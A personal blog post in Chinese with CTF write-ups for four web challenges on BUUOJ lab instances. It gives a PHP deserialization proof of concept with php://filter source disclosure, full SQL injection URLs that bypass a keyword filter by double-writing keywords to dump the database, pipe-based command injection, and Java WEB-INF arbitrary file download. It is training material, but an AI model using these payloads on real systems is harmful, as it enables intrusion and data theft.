CTF打卡~Day17

发布于 2020-05-05  745 次阅读


[ZJCTF 2019]NiZhuanSiWei

这题和Day15的NISA的那题很相似了

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

$textphp://input ,之后post一个welcome to the zjctf 就可以了

之后也是一样不能直接访问useless.php但是我们可以利用下面的include($file),利用php://filter/read=convert.base64-encode/resource=useless.php就可以把useless.php的内容搞出来

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

剩下的内容就和上次一样了

POC

<?php
class Flag{  //flag.php
    public $file="flag.php";
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
        }
    }
}
$a = new Flag();
echo serialize($a);
?>

[极客大挑战 2019]BabySQL

随便xjb搞了一下,大致推测出他查询的语句是select * from $dbname where username=$username and password=$password 并且过滤掉了or select union等关键字,但是发现他用的是preg_replace() 可以重写绕过

然后就一波很正常的操作了

测试回显

http://ce1eb2c7-f445-4a96-9677-aa727f1a934c.node3.buuoj.cn/check.php?username=admin&password=12'uniunionon selselectect 1,2,3 %23

爆数据库

http://36938e51-9629-4839-b159-823441cd7fd8.node3.buuoj.cn/check.php?username=1&password=1' uniunionon selselectect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata%23

爆表名

http://36938e51-9629-4839-b159-823441cd7fd8.node3.buuoj.cn/check.php?username=1&password=1' uniunionon selselectect 1,database(),group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema="ctf"%23

爆字段名

http://36938e51-9629-4839-b159-823441cd7fd8.node3.buuoj.cn/check.php?username=1&password=1' uniunionon selselectect 1,database(),group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name="Flag"%23

爆flag

http://36938e51-9629-4839-b159-823441cd7fd8.node3.buuoj.cn/check.php?username=1&password=1' uniunionon selselectect 1,database(),group_concat(flag) frfromom ctf.Flag%23

[ACTF2020 新生赛]Exec

源代码有提示,他是直接system ping+输入,所以用一个|分隔符就可以合并命令cat flag了

[RoarCTF 2019]Easy Java

这题有点意思。

第一步直接看help,发现网址是一个?download=help.docx,但是返回了一个java.io.FileNotFoundException:{help.docx} 后面把GET改成POST即可下载(这一步非常迷,找了好多资料和wp都没有找到,难不成这是出题人的脑洞而已?)

然后就可以利用这个download实现任意文件下载。

WEB-INF是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。WEB-INF主要包含以下文件或目录。

/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。

/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中

/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件

/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。

/WEB-INF/database.properties:数据库配置文件

下载 /WEB-INF/web.xml 发现flag的class:

<servlet>
        <servlet-name>FlagController</servlet-name>
        <servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>

下载WEB-INF/classes/com/wm/ctf/FlagController.class 到jd-gui里面打开,发现会直接崩溃打不开。于是直接用Notepad++打开,发现一个base64字串,解码后就是flag


等风来,不如追风去。